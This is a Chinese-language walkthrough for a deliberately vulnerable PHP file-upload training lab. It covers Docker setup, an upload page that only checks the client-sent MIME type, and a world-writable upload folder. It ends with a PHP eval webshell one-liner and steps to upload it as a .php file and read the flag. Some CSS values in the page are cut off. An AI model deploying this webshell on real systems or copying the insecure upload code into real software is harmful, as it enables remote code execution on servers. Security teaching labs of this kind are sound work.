文件上传靶场
项目结构
upload-lab/
├── Dockerfile
└── www
├── index.php
└── upload
└── flag.txt
执行命令流程（逐行执行）
创建目录结构
mkdir upload-lab;cd upload-lab
mkdir -p www/upload
echo "flag{9PnZtLwEfR6vGhJ4}" > www/upload/flag.txt
写入Dockerfile
cat > Dockerfile <<EOF
FROM php:7.4-apache
# 创建上传目录并设置权限
RUN mkdir -p /var/www/html/upload && \
chown -R www-data:www-data /var/www/html && \
chmod -R 755 /var/www/html
# 复制网站文件
COPY www/ /var/www/html/
# 设置flag文件
RUN echo "flag{you hack the upload lab}" > /var/www/html/upload/flag.txt && \
chmod 644 /var/www/html/upload/flag.txt
# 配置Apache
EXPOSE 80
EOF
写入PHP主文件index.php
touch www/index.php
cat > www/index.php <<'EOF'
<!DOCTYPE html>
<html>
<head>
<title>提交你喜欢的图片！</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; background-color:
.container { max-width: 800px; margin: 0 auto; background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
h1 { color:
.upload-box { border: 2px dashed
.form-group { margin: 15px 0; }
input[type="file"] { padding: 10px; background:
input[type="submit"] { background:
input[type="submit"]:hover { background:
.result { margin-top: 20px; padding: 15px; border-radius: 4px; }
.success { background:
.error { background:
</style>
</head>
<body>
<div class="container">
<h1>图片上传入口</h1>
<div class="upload-box">
<form enctype="multipart/form-data" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
<div class="form-group">
<label>选择图片（JPEG/PNG，最大100KB）：</label><br>
<input type="file" name="uploaded" required>
</div>
<input type="submit" name="Upload" value="上传图片">
</form>
</div>
<?php
if(isset($_POST['Upload'])) {
$upload_dir = "upload/";
$target_file = $upload_dir . basename($_FILES['uploaded']['name']);
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
$html = '<div class="result ';
if(($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && $uploaded_size < 100000) {
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_file)) {
$html .= 'success">文件上传成功，保存路径：'.htmlspecialchars($target_file);
} else {
$html .= 'error">上传失败 - 系统错误';
}
} else {
$html .= 'error">无效的文件类型或大小（仅支持JPEG/PNG，最大100KB）';
}
echo $html.'</div>';
}
?>
</div>
</body>
</html>
EOF
docker一键搭建
docker build -t upload-lab .
docker run -d -p 8002:80 --name upload-lab-container upload-lab
进入容器，然后设置容器内部的权限：
docker exec -it upload-lab-container bash
cd /var/www/html/upload
chmod 777 .
exit
攻击过程
- 创建webshell文件shell.jpg 内容：
<?php @eval($_POST['cmd']);?> - 使用BurpSuite修改上传文件名为shell.jpg.php
- 上传成功后使用蚁剑连接http://靶机IP:8002/upload/生成的文件名
- 在webshell中执行命令读取flag.txt
